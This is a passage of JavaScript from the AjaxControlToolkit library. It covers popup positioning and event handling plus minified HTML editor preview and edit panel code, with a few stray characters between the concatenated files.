                    altY: parentBounds.height
                }
                break;
            case AjaxControlToolkit.PositioningMode.Right:
                pos = {
                    x: parentBounds.width,
                    y: 0,
                    altX: -element.offsetWidth,
                    altY: parentBounds.height - height
                }
                break;
            case AjaxControlToolkit.PositioningMode.Left:
                pos = {
                    x: -element.offsetWidth,
                    y: 0,
                    altX: parentBounds.width,
                    altY: parentBounds.height - height
                }
                break;
            default:
                pos = { x: 0, y: 0, altX: 0, altY: 0 };
        }

        pos.x += this._x + diff.x;
        pos.altX += this._x + diff.x;
        pos.y += this._y + diff.y;
        pos.altY += this._y + diff.y;

        position = this._verifyPosition(pos, width, height, parentBounds);

        return new Sys.UI.Bounds(position.x, position.y, width, height);
    },

    _verifyPosition: function(pos, elementWidth, elementHeight, parentBounds) {
        /// <summary>
        /// Checks whether the popup is entirely visible and attempts to change its position to make it entirely visihle.
        /// </summary>

        var newX = 0, newY = 0;

        var windowBounds = this._getWindowBounds();

        // Check horizontal positioning
        if (!((pos.x + elementWidth > windowBounds.x + windowBounds.width) || (pos.x < windowBounds.x))) {
            newX = pos.x;
        } else {
            newX = pos.altX;

            if (pos.altX < windowBounds.x) {
                if (pos.x > pos.altX) {
                    newX = pos.x;
                }
            } else if (windowBounds.width + windowBounds.x - pos.altX < elementWidth) {
                var xDiff = pos.x > pos.altX ? Math.abs(windowBounds.x - pos.x) : (windowBounds.x - pos.x);
                if (xDiff < elementWidth - windowBounds.width - windowBounds.x + pos.altX) {
                    newX = pos.x;
                }
            }
        }

        // Check vertical positioning
        if (!((pos.y + elementHeight > windowBounds.y + windowBounds.height) || (pos.y < windowBounds.y))) {
            newY = pos.y;
        } else {
            newY = pos.altY;

            if (pos.altY < windowBounds.y) {
                if (windowBounds.y - pos.altY > elementHeight - windowBounds.height - windowBounds.y + pos.y) {
                    newY = pos.y;
                }
            } else if (windowBounds.height + windowBounds.y - pos.altY < elementHeight) {
                if (windowBounds.y - pos.y < elementHeight - windowBounds.height - windowBounds.y + pos.altY) {
                    newY = pos.y;
                }
            }
        }

        return { x: newX, y: newY };
    },

    _getWindowBounds: function() {

        var bounds = {
            x: this._getWindowScrollLeft(),
            y: this._getWindowScrollTop(),
            width: this._getWindowWidth(),
            height: this._getWindowHeight()
        };
        return bounds;

    },

    _getWindowHeight: function() {

        var windowHeight = 0;
        if (document.documentElement && document.documentElement.clientHeight) {
            windowHeight = document.documentElement.clientHeight;
        }
        else if (document.body && document.body.clientHeight) {
            windowHeight = document.body.clientHeight;
        }
        return windowHeight;

    },

    _getWindowWidth: function() {

        var windowWidth = 0;
        if (document.documentElement && document.documentElement.clientWidth) {
            windowWidth = document.documentElement.clientWidth;
        }
        else if (document.body && document.body.clientWidth) {
            windowWidth = document.body.clientWidth;
        }
        return windowWidth;

    },

    _getWindowScrollTop: function() {

        var scrollTop = 0;
        if (typeof (window.pageYOffset) == 'number') {
            scrollTop = window.pageYOffset;
        }
        if (document.body && document.body.scrollTop) {
            scrollTop = document.body.scrollTop;
        }
        else if (document.documentElement && document.documentElement.scrollTop) {
            scrollTop = document.documentElement.scrollTop;
        }
        return scrollTop;

    },

    _getWindowScrollLeft: function() {

        var scrollLeft = 0;
        if (typeof (window.pageXOffset) == 'number') {
            scrollLeft = window.pageXOffset;
        }
        else if (document.body && document.body.scrollLeft) {
            scrollLeft = document.body.scrollLeft;
        }
        else if (document.documentElement && document.documentElement.scrollLeft) {
            scrollLeft = document.documentElement.scrollLeft;
        }
        return scrollLeft;

    },

    adjustPopupPosition: function(bounds) {
        /// <summary>
        /// Adjust the position of the popup after it's originally bet set
        /// to make sure that it's visible on the page.
        /// </summary>
        /// <param name="bounds" type="Sys.UI.Bounds" mayBeNull="true" optional="true">
        /// Original bounds of the parent element
        /// </param>

        var element = this.get_element();
        if (!bounds) {
            bounds = this.getBounds();
        }

        // Get the new bounds now that we've shown the popup
        var newPosition = $common.getBounds(element);
        var updateNeeded = false;

        if (newPosition.x < 0) {
            bounds.x -= newPosition.x;
            updateNeeded = true;
        }
        if (newPosition.y < 0) {
            bounds.y -= newPosition.y;
            updateNeeded = true;
        }

        // If the popup was off the screen, reposition it
        if (updateNeeded) {
            $common.setLocation(element, bounds);
        }
    },

    addBackgroundIFrame: function() {
        /// <summary>
        /// Add an empty IFRAME behind the popup (for IE6 only) so that SELECT, etc., won't
        /// show through the popup.
        /// </summary>

        // Get the child frame
        var element = this.get_element();
        if ((Sys.Browser.agent === Sys.Browser.InternetExplorer) && (Sys.Browser.version < 7)) {
            var childFrame = element._hideWindowedElementsIFrame;

            // Create the child frame if it wasn't found
            if (!childFrame) {
                childFrame = document.createElement("iframe");
                childFrame.src = "javascript:'<html></html>';";
                childFrame.style.position = "absolute";
                childFrame.style.display = "none";
                childFrame.scrolling = "no";
                childFrame.frameBorder = "0";
                childFrame.tabIndex = "-1";
                childFrame.style.filter = "progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)";
                element.parentNode.insertBefore(childFrame, element);
                element._hideWindowedElementsIFrame = childFrame;
                this._moveHandler = Function.createDelegate(this, this._onMove);
                Sys.UI.DomEvent.addHandler(element, "move", this._moveHandler);
            }

            // Position the frame exactly behind the element
            $common.setBounds(childFrame, $common.getBounds(element));

            childFrame.style.left = element.style.left;
            childFrame.style.top = element.style.top;

            childFrame.style.display = element.style.display;

            if (element.currentStyle && element.currentStyle.zIndex) {
                childFrame.style.zIndex = element.currentStyle.zIndex;
            } else if (element.style.zIndex) {
                childFrame.style.zIndex = element.style.zIndex;
            }
        }
    },

    setupPopup: function() {
        /// <summary>
        /// Position the popup relative to its parent
        /// </summary>

        var element = this.get_element();
        var bounds = this.getBounds();
        $common.setLocation(element, bounds);

        // Tweak the position, set the zIndex, and add the background iframe in IE6
        this.adjustPopupPosition(bounds);
        element.style.zIndex = 1000;
        this.addBackgroundIFrame();
    },

    _hidePopup: function() {
        /// <summary>
        /// Internal hide implementation
        /// </summary>

        var element = this.get_element();
        $common.setVisible(element, false);
        if (element.originalWidth) {
            element.style.width = element.originalWidth + "px";
            element.originalWidth = null;
        }
    },

    _hideCleanup: function() {
        /// <summary>
        /// Perform cleanup after hiding the element
        /// </summary>

        var element = this.get_element();

        // Remove the tracking handler
        if (this._moveHandler) {
            Sys.UI.DomEvent.removeHandler(element, "move", this._moveHandler);
            this._moveHandler = null;
        }

        // Hide the child frame
        if (Sys.Browser.agent === Sys.Browser.InternetExplorer) {
            var childFrame = element._hideWindowedElementsIFrame;
            if (childFrame) {
                childFrame.style.display = "none";
            }
        }

        this.raiseHidden(Sys.EventArgs.Empty);
    },

    _onMove: function() {
        /// <summary>
        /// Track the popup's movements so the hidden IFrame (IE6 only) can
        /// be moved along with it
        /// </summary>

        var element = this.get_element();
        if (element._hideWindowedElementsIFrame) {
            element.parentNode.insertBefore(element._hideWindowedElementsIFrame, element);
            element._hideWindowedElementsIFrame.style.top = element.style.top;
            element._hideWindowedElementsIFrame.style.left = element.style.left;
        }
    },

    get_onShow: function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnShow Animation's JSON definition
        /// </value>
        return this._onShow ? this._onShow.get_json() : null;
    },
    set_onShow: function(value) {
        if (!this._onShow) {
            this._onShow = new AjaxControlToolkit.Animation.GenericAnimationBehavior(this.get_element());
            this._onShow.initialize();
        }
        this._onShow.set_json(value);
        var animation = this._onShow.get_animation();
        if (animation) {
            animation.add_ended(this._onShowEndedHandler);
        }
        this.raisePropertyChanged('onShow');
    },
    get_onShowBehavior: function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnShow Animation's behavior
        /// </value>
        return this._onShow;
    },
    onShow: function() {
        /// <summary>
        /// Play the OnShow animation
        /// </summary>
        /// <returns />
        if (this._onShow) {
            if (this._onHide) {
                this._onHide.quit();
            }
            this._onShow.play();
        }
    },
    _onShowEnded: function() {
        /// <summary>
        /// Handler for the OnShow Animation's Ended event
        /// </summary>

        // Make sure the popup is where it belongs
        this.adjustPopupPosition();
        this.addBackgroundIFrame();

        this.raiseShown(Sys.EventArgs.Empty);
    },

    get_onHide: function() {
        /// <value type="String" mayBeNull="true">
        /// Generic OnHide Animation's JSON definition
        /// </value>
        return this._onHide ? this._onHide.get_json() : null;
    },
    set_onHide: function(value) {
        if (!this._onHide) {
            this._onHide = new AjaxControlToolkit.Animation.GenericAnimationBehavior(this.get_element());
            this._onHide.initialize();
        }
        this._onHide.set_json(value);
        var animation = this._onHide.get_animation();
        if (animation) {
            animation.add_ended(this._onHideEndedHandler);
        }
        this.raisePropertyChanged('onHide');
    },
    get_onHideBehavior: function() {
        /// <value type="AjaxControlToolkit.Animation.GenericAnimationBehavior">
        /// Generic OnHide Animation's behavior
        /// </value>
        return this._onHide;
    },
    onHide: function() {
        /// <summary>
        /// Play the OnHide animation
        /// </summary>
        /// <returns />
        if (this._onHide) {
            if (this._onShow) {
                this._onShow.quit();
            }
            this._onHide.play();
        }
    },
    _onHideEnded: function() {
        /// <summary>
        /// Handler for the OnHide Animation's Ended event
        /// </summary>

        this._hideCleanup();
    },

    get_parentElement: function() {
        /// <value type="Sys.UI.DomElement" domElement="true">
        /// Parent dom element.
        /// </value>

        if (!this._parentElement && this._parentElementID) {
            this.set_parentElement($get(this._parentElementID));
            Sys.Debug.assert(this._parentElement != null, String.format(AjaxControlToolkit.Resources.PopupExtender_NoParentElement, this._parentElementID));
        }
        return this._parentElement;
    },
    set_parentElement: function(element) {
        this._parentElement = element;
        this.raisePropertyChanged('parentElement');
    },

    get_parentElementID: function() {
        /// <value type="String">
        /// Parent dom element.
        /// </value>

        if (this._parentElement) {
            return this._parentElement.id
        }
        return this._parentElementID;
    },
    set_parentElementID: function(elementID) {
        this._parentElementID = elementID;
        if (this.get_isInitialized()) {
            this.set_parentElement($get(elementID));
        }
    },

    get_positioningMode: function() {
        /// <value type="AjaxControlToolkit.PositioningMode">
        /// Positioning mode.
        /// </value>
        return this._positioningMode;
    },
    set_positioningMode: function(mode) {
        this._positioningMode = mode;
        this.raisePropertyChanged('positioningMode');
    },

    get_x: function() {
        /// <value type="Number">
        /// X coordinate.
        /// </value>
        return this._x;
    },
    set_x: function(value) {
        if (value != this._x) {
            this._x = value;

            // Reposition the popup if it's already showing
            if (this._visible) {
                this.setupPopup();
            }
            this.raisePropertyChanged('x');
        }
    },

    get_y: function() {
        /// <value type="Number">
        /// Y coordinate.
        /// </value>
        return this._y;
    },
    set_y: function(value) {
        if (value != this._y) {
            this._y = value;

            // Reposition the popup if it's already showing
            if (this._visible) {
                this.setupPopup();
            }
            this.raisePropertyChanged('y');
        }
    },

    get_visible: function() {
        /// <value type="Boolean" mayBeNull="false">
        /// Whether or not the popup is currently visible
        /// </value>
        return this._visible;
    },

    add_showing: function(handler) {
        /// <summary>
        /// Add an event handler for the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('showing', handler);
    },
    remove_showing: function(handler) {
        /// <summary>
        /// Remove an event handler from the showing event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('showing', handler);
    },
    raiseShowing: function(eventArgs) {
        /// <summary>
        /// Raise the showing event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the showing event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('showing');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_shown: function(handler) {
        /// <summary>
        /// Add an event handler for the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('shown', handler);
    },
    remove_shown: function(handler) {
        /// <summary>
        /// Remove an event handler from the shown event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('shown', handler);
    },
    raiseShown: function(eventArgs) {
        /// <summary>
        /// Raise the shown event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the shown event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('shown');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_hiding: function(handler) {
        /// <summary>
        /// Add an event handler for the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hiding', handler);
    },
    remove_hiding: function(handler) {
        /// <summary>
        /// Remove an event handler from the hiding event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hiding', handler);
    },
    raiseHiding: function(eventArgs) {
        /// <summary>
        /// Raise the hiding event
        /// </summary>
        /// <param name="eventArgs" type="Sys.CancelEventArgs" mayBeNull="false">
        /// Event arguments for the hiding event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('hiding');
        if (handler) {
            handler(this, eventArgs);
        }
    },

    add_hidden: function(handler) {
        /// <summary>
        /// Add an event handler for the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().addHandler('hidden', handler);
    },
    remove_hidden: function(handler) {
        /// <summary>
        /// Remove an event handler from the hidden event
        /// </summary>
        /// <param name="handler" type="Function" mayBeNull="false">
        /// Event handler
        /// </param>
        /// <returns />
        this.get_events().removeHandler('hidden', handler);
    },
    raiseHidden: function(eventArgs) {
        /// <summary>
        /// Raise the hidden event
        /// </summary>
        /// <param name="eventArgs" type="Sys.EventArgs" mayBeNull="false">
        /// Event arguments for the hidden event
        /// </param>
        /// <returns />

        var handler = this.get_events().getHandler('hidden');
        if (handler) {
            handler(this, eventArgs);
        }
    }
}
AjaxControlToolkit.PopupBehavior.registerClass('AjaxControlToolkit.PopupBehavior', AjaxControlToolkit.BehaviorBase);
//AjaxControlToolkit.PopupBehavior.descriptor = {
//    properties: [   {name: 'parentElement', attributes: [ Sys.Attributes.Element, true ] },
//                    {name: 'positioningMode', type: AjaxControlToolkit.PositioningMode},
//                    {name: 'x', type: Number},
//                    {name: 'y', type: Number} ],
//    events: [   {name: 'show'},
//                {name: 'hide'} ]
//}

AjaxControlToolkit.PositioningMode = function() {
    /// <summary>
    /// Positioning mode describing how the popup should be positioned
    /// relative to its specified parent
    /// </summary>
    /// <field name="Absolute" type="Number" integer="true" />
    /// <field name="Center" type="Number" integer="true" />
    /// <field name="BottomLeft" type="Number" integer="true" />
    /// <field name="BottomRight" type="Number" integer="true" />
    /// <field name="TopLeft" type="Number" integer="true" />
    /// <field name="TopRight" type="Number" integer="true" />
    /// <field name="Right" type="Number" integer="true" />
    /// <field name="Left" type="Number" integer="true" />
    throw Error.invalidOperation();
}
AjaxControlToolkit.PositioningMode.prototype = {
    Absolute: 0,
    Center: 1,
    BottomLeft: 2,
    BottomRight: 3,
    TopLeft: 4,
    TopRight: 5,
    Right: 6,
    Left: 7
}
AjaxControlToolkit.PositioningMode.registerEnum('AjaxControlToolkit.PositioningMode');
Type.registerNamespace("AjaxControlToolkit.HTMLEditor.ToolbarButton");

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode = function(element) {
    AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode.initializeBase(this, [element]);
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode.prototype = {
}

AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode.registerClass("AjaxControlToolkit.HTMLEditor.ToolbarButton.DesignMode", AjaxControlToolkit.HTMLEditor.ToolbarButton.ModeButton);

,Type.registerNamespace("AjaxControlToolkit.HTMLEditor.Popups");

AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup = function(element) {
    AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.initializeBase(this, [element]);

    this._contentDiv = null;
}

AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.prototype = {

    get_contentDiv : function() {
        return this._contentDiv;
    },

    set_contentDiv : function(value) {
        this._contentDiv = value;
    },
    
    initialize : function() {
        AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.callBaseMethod(this, "initialize");
        this.set_initialContent(this._contentDiv.innerHTML);
    },
    
    dispose : function() {
        AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.callBaseMethod(this, "dispose");
    }
}

AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup.registerClass("AjaxControlToolkit.HTMLEditor.Popups.AttachedTemplatePopup", AjaxControlToolkit.HTMLEditor.Popups.AttachedPopup);
	Type.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.PreviewPanel=function(b){var a=this;AjaxControlToolkit.HTMLEditor.PreviewPanel.initializeBase(a,[b]);a._focus$delegate=Function.createDelegate(a,a._focus_event);a._blur$delegate=Function.createDelegate(a,a._blur_event);a._doc=null;a._content="";a._panel_timer=null};AjaxControlToolkit.HTMLEditor.PreviewPanel.prototype={_focus:function(){try{this.get_element().contentWindow.focus()}catch(a){}this._focused()},_focus_event:function(){var a=this;if(a._panel_timer==null){var c=a.get_element().contentWindow,b=a;a._really_focused();a._panel_timer=setTimeout(function(){c.focus();b._really_focused();b._panel_timer=null},0)}return true},_blur_event:function(){if(this._panel_timer!=null){clearTimeout(this._panel_timer);this._panel_timer=null}return true},_activate:function(b){var a=this;AjaxControlToolkit.HTMLEditor.PreviewPanel.callBaseMethod(a,"_activate");a._content=b;a._wasFocused=false;a._initIframe(b);AjaxControlToolkit.HTMLEditor._addEvents(a.get_element().contentWindow,["focus"],a._focus$delegate);AjaxControlToolkit.HTMLEditor._addEvents(a.get_element().contentWindow,["blur"],a._blur$delegate);a._activateFinished()},_deactivate:function(){var a=this;AjaxControlToolkit.HTMLEditor._removeEvents(a.get_element().contentWindow,["blur"],a._blur$delegate);AjaxControlToolkit.HTMLEditor._removeEvents(a.get_element().contentWindow,["focus"],a._focus$delegate);if(AjaxControlToolkit.HTMLEditor.isIE)try{a._doc.open();a._doc.write("");a._doc.close();a.get_element().src="javascript:false;"}catch(b){}a._doc=null;a._content="";AjaxControlToolkit.HTMLEditor.PreviewPanel.callBaseMethod(a,"_deactivate")},_initIframe:function(c){var a=this,b=AjaxControlToolkit.HTMLEditor.Trim(c);a._doc=a.get_element().contentWindow.document;if(AjaxControlToolkit.HTMLEditor.isIE)b=b.replace(/&amp;/ig,"&");a._doc.open();a._doc.write('<html><head><link rel="stylesheet" href="'+a._editPanel.get_documentCssPath()+'" media="all" /></head><body>'+b+"</body></html>");a._doc.close()},_getContent:function(){return this._content},_setContent:function(a){this._content=a;this._initIframe(a)}};AjaxControlToolkit.HTMLEditor.PreviewPanel.registerClass("AjaxControlToolkit.HTMLEditor.PreviewPanel",AjaxControlToolkit.HTMLEditor.ModePanel);d6Type.registerNamespace("AjaxControlToolkit.HTMLEditor");AjaxControlToolkit.HTMLEditor.LastFocusedEditPanel=null;AjaxControlToolkit.HTMLEditor.EditPanel=function(e){var d=true,b=null,c=false,a=this;AjaxControlToolkit.HTMLEditor.EditPanel.initializeBase(a,[e]);a._loaded=c;a._eAfter=b;a._toolbars=b;a._modePanels=b;a._contentChangedElement=b;a._contentElement=b;a._contentForceElement=b;a._activeModeElement=b;a._suppressTabInDesignMode=c;a._keyboardEnabled=d;a._noPaste=c;a._hotkeys=b;a._showAnchors=c;a._showPlaceHolders=c;a._startEnd=d;a._relativeImages=d;a._documentCssPath=b;a._designPanelCssPath=b;a._imagePath_1x1=b;a._imagePath_flash=b;a._imagePath_media=b;a._imagePath_anchor=b;a._imagePath_placeHolder=b;a._autofocus=d;a._initialCleanUp=c;a._noScript=c;a._noUnicode=c;a._cachedToolbarIds=b;a._contentPrepared=c;a._activeMode=b;a._pageRequestManager=b;a._formOnSubmitSaved=b;a._validators=b;a._app_onload$delegate=Function.createDelegate(a,a._app_onload);a._onsubmit$delegate=Function.createDelegate(a,a._onsubmit);a._disposed=d};AjaxControlToolkit.HTMLEditor.EditPanel.prototype={get_relativeImages:function(){return this._relativeImages},set_relativeImages:function(a){this._relativeImages=a;this._loaded&&this.raisePropertyChanged("relativeImages")},get_startEnd:function(){return this._startEnd},set_startEnd:function(a){this._startEnd=a;this._loaded&&this.raisePropertyChanged("startEnd")},get_showPlaceHolders:function(){return this._showPlaceHolders},set_showPlaceHolders:function(a){this._showPlaceHolders=a;this._loaded&&this.raisePropertyChanged("showPlaceHolders")},get_showAnchors:function(){return this._showAnchors},set_showAnchors:function(a){this._showAnchors=a;this._loaded&&this.raisePropertyChanged("showAnchors")},get_hotkeys:function(){return this._hotkeys},set_hotkeys:function(a){this._hotkeys=a;this._loaded&&this.raisePropertyChanged("noPaste")},get_noPaste:function(){return this._noPaste},set_noPaste:function(a){this._noPaste=a;this._loaded&&this.raisePropertyChanged("noPaste")},get_suppressTabInDesignMode:function(){return this._suppressTabInDesignMode},set_suppressTabInDesignMode:function(a){this._suppressTabInDesignMode=a;this._loaded&&this.raisePropertyChanged("suppressTabInDesignMode")},get_keyboardEnabled:function(){return this._keyboardEnabled},set_keyboardEnabled:function(a){this._keyboardEnabled=a;this._loaded&&this.raisePropertyChanged("keyboardEnabled")},get_noUnicode:function(){return this._noUnicode},set_noUnicode:function(a){this._noUnicode=a;this._loaded&&this.raisePropertyChanged("noUnicode")},get_noScript:function(){return this._noScript},set_noScript:function(a){this._noScript=a;this._loaded&&this.raisePropertyChanged("noScript")},get_initialCleanUp:function(){return this._initialCleanUp},set_initialCleanUp:function(a){this._initialCleanUp=a;this._loaded&&this.raisePropertyChanged("initialCleanUp")},"get_imagePath_1x1":function(){return this._imagePath_1x1},"set_imagePath_1x1":function(a){this._imagePath_1x1=a},get_imagePath_flash:function(){return this._imagePath_flash},set_imagePath_flash:function(a){this._imagePath_flash=a},get_imagePath_media:function(){return this._imagePath_media},set_imagePath_media:function(a){this._imagePath_media=a},get_imagePath_anchor:function(){return this._imagePath_anchor},set_imagePath_anchor:function(a){this._imagePath_anchor=a},get_imagePath_placeHolder:function(){return this._imagePath_placeHolder},set_imagePath_placeHolder:function(a){this._imagePath_placeHolder=a},get_documentCssPath:function(){return this._documentCssPath},set_documentCssPath:function(a){this._documentCssPath=a;this._loaded&&this.raisePropertyChanged("documentCssPath")},get_designPanelCssPath:function(){return this._designPanelCssPath},set_designPanelCssPath:function(a){this._designPanelCssPath=a;this._loaded&&this.raisePropertyChanged("designPanelCssPath")},get_autofocus:function(){return this._autofocus},set_autofocus:function(a){this._autofocus=a;this._loaded&&this.raisePropertyChanged("autofocus")},get_content:function(){var a=this;if(a._activeMode==null){if(a.get_contentElement()!=null)return a._getContentForPostback();return ""}return a.getContent()},set_content:function(b){var a=this;if(!a.get_isInitialized()||!a._loaded){if(a.get_contentElement()!=null)a.get_contentElement().value=b.replace(/\"/g,"&quot;");return}a.setContent(b);a._contentPrepared=false;a._loaded&&a.raisePropertyChanged("content")},get_activeMode:function(){if(this._activeMode==null)return AjaxControlToolkit.HTMLEditor.ActiveModeType.Design;return this._activeMode},set_activeMode:function(b){var a=this;if(!AjaxControlToolkit.HTMLEditor.ActiveModeType_checkValue(b))throw Error.argumentOutOfRange("value, function: AjaxControlToolkit.HTMLEditor.EditPanel.set_activeMode");var c=a._activeMode,d=true;if(a._loaded&&c!=null&&c!=b){var e=new AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs(c,b,a);a.raiseBeforeActiveModeChanged(e);a._eAfter=new AjaxControlToolkit.HTMLEditor.ActiveModeChangedArgs(c,b,a);d=a._setMode(b)}else a._activeMode=b;a.get_activeModeElement().value=b;return d},get_contentChangedElement:function(){return this._contentChangedElement},set_contentChangedElement:function(a){this._contentChangedElement=a},get_contentElement:function(){return this._contentElement},set_contentElement:function(a){this._contentElement=a},get_contentForceElement:function(){return this._contentForceElement},set_contentForceElement:function(a){this._contentForceElement=a},get_activeModeElement:function(){return this._activeModeElement},set_activeModeElement:function(a){this._activeModeElement=a},setCancelOnPostback:function(){if(this._loaded)this.get_contentForceElement().value=""},setAcceptOnPostback:function(){if(this._loaded)this.get_contentForceElement().value="1"},get_toolbars:function(){if(this._toolbars==null)this._toolbars=[];return this._toolbars},set_toolbars:function(a){this.get_toolbars().push(a)},get_toolbarIds:function(){},set_toolbarIds:function(c){if(!this.get_isInitialized()){this._cachedToolbarIds=c;return}for(var b=c.split(";"),a=0;a<b.length;a++)b[a].length>0&&this.set_toolbars($find(b[a]))},get_modePanels:function(){if(this._modePanels==null)this._modePanels=[];return this._modePanels},set_modePanel:function(a){this.get_modePanels().push(a)},get_modePanelIds:function(){},set_modePanelIds:function(c){for(var b=c.split(";"),a=0;a<b.length;a++)this.set_modePanel($find(b[a]))},add_focused:function(a){this.get_events().addHandler("focused",a)},remove_focused:function(a){this.get_events().removeHandler("focused",a)},raiseFocused:function(b){var a=this.get_events().getHandler("focused");a&&a(this,b)},add_activeModeChanged:function(a){this.get_events().addHandler("activeModeChanged",a)},remove_activeModeChanged:function(a){this.get_events().removeHandler("activeModeChanged",a)},raiseActiveModeChanged:function(b){var a=this.get_events().getHandler("activeModeChanged");a&&a(this,b)},add_beforeActiveModeChanged:function(a){this.get_events().addHandler("beforeActiveModeChanged",a)},remove_beforeActiveModeChanged:function(a){this.get_events().removeHandler("beforeActiveModeChanged",a)},raiseBeforeActiveModeChanged:function(b){var a=this.get_events().getHandler("beforeActiveModeChanged");a&&a(this,b)},get_activePanel:function(){var a=this.get_modePanels()[this.get_activeMode()];if(a==null||typeof a=="undefined")throw Error.argumentOutOfRange("activeMode, function: AjaxControlToolkit.HTMLEditor.EditPanel.get_activePanel");return a},initialize:function(){var a=this;a.__appLoaded__=false;AjaxControlToolkit.HTMLEditor.EditPanel.callBaseMethod(a,"initialize");a._disposed=false;Sys.Application.add_load(a._app_onload$delegate);if(Sys&&Sys.WebForms&&Sys.WebForms.PageRequestManager){a._pageRequestManager=Sys.WebForms.PageRequestManager.getInstance();if(a._pageRequestManager){a._partialUpdateEndRequestHandler=Function.createDelegate(a,a._partialUpdateEndRequest);a._pageRequestManager.add_endRequest(a._partialUpdateEndRequestHandler);a._invokingRequestHandler=Function.createDelegate(a,a._invokingRequest);Sys.Net.WebRequestManager.add_invokingRequest(a._invokingRequestHandler);a._completedRequestHandler=Function.createDelegate(a,a._completedRequest);Sys.Net.WebRequestManager.add_completedRequest(a._completedRequestHandler)}}AjaxControlToolkit.HTMLEditor.addFormOnSubmit(a._onsubmit$delegate,a)},dispose:function(){var b=null,a=this;a._loaded=false;a._disposed=true;if(a._pageRequestManager){if(a._invokingRequestHandler){a._pageRequestManager.remove_endRequest(a._partialUpdateEndRequestHandler);a._partialUpdateEndRequestHandler=b;Sys.Net.WebRequestManager.remove_invokingRequest(a._invokingRequestHandler);a._invokingRequestHandler=b;Sys.Net.WebRequestManager.remove_completedRequest(a._completedRequestHandler);a._completedRequestHandler=b}a._pageRequestManager=b}AjaxControlToolkit.HTMLEditor.removeFormOnSubmit(a._onsubmit$delegate);Sys.Application.remove_load(a._app_onload$delegate);a.disableToolbars();AjaxControlToolkit.HTMLEditor.EditPanel.callBaseMethod(a,"dispose")},_onsubmit:function(){var a=this;if(!a._contentPrepared){a._prepareContentForPostback(a.get_content());a._contentPrepared=true}return true},_invokingRequest:function(f,d){var a=this;if(a._contentPrepared)return;var c=d.get_webRequest(),b=c.get_body(),e=new RegExp("([\\?&])("+a.get_contentElement().name+"=)([^&$]*)([&$])","g");a._prepareContentForPostback(a.get_content());b=b.replace(e,"$1$2"+escape(a.get_contentElement().value)+"$4");a._contentPrepared=true;c.set_body(b)},_completedRequest:function(){this._contentPrepared=false},_partialUpdateEndRequest:function(){var a=this;a._contentPrepared=false;if(AjaxControlToolkit.HTMLEditor.isIE&&a.__blured){a.__blured=false;a.get_activePanel()._focus()}},_app_onload:function(){var c=null,d=true,a=this;if(a.__appLoaded__)return;a.__appLoaded__=d;if(a._disposed)return;var l=a;a._loaded=d;a.set_activeMode(parseInt(a.get_activeModeElement().value));if(a._cachedToolbarIds!=c){a.set_toolbarIds(a._cachedToolbarIds);a._cachedToolbarIds=c}a._validators=a.get_modePanels()[AjaxControlToolkit.HTMLEditor.ActiveModeType.Html].get_element().Validators;a._shouldResize=false;if(AjaxControlToolkit.HTMLEditor.isIE&&document.compatMode!="BackCompat")a._shouldResize=d;if(a._shouldResize){var f=a.get_modePanels(),e=f[AjaxControlToolkit.HTMLEditor.ActiveModeType.Design];if(e==c)e=f[AjaxControlToolkit.HTMLEditor.ActiveModeType.Preview];var i=f[AjaxControlToolkit.HTMLEditor.ActiveModeType.Html];if(e!=c&&i!=c){var b=e.get_element();b.style.display="";var g=b.offsetHeight,j=false,h;if(g==0){j=d;h=AjaxControlToolkit.HTMLEditor.setElementVisibility(b.parentNode);g=b.offsetHeight}i.get_element().style.height=g+"px";if(j){AjaxControlToolkit.HTMLEditor.restoreElementVisibility(h);delete h}b.style.display="none"}}var k=a.get_contentElement().value.replace(/&lt;/g,"<").replace(/&gt;/g,">").replace(/&quot;/g,'"').replace(/&amp;/g,"&");a.setContent(a._initialCleanUp?AjaxControlToolkit.HTMLEditor.cleanUp(k.replace(/[\n\r]+/g," ")):k);a.setAcceptOnPostback()},_setActive:function(){var a=this;for(var b=0;b<a.get_toolbars().length;b++)a.get_toolbars()[b].set_activeEditPanel(a,true);if(a._eAfter!=null){a.raisePropertyChanged("activeMode");a.raiseActiveModeChanged(a._eAfter);a._eAfter=null}},_focused:function(c){var a=this;if(!(typeof c!="undefined"&&c))for(var 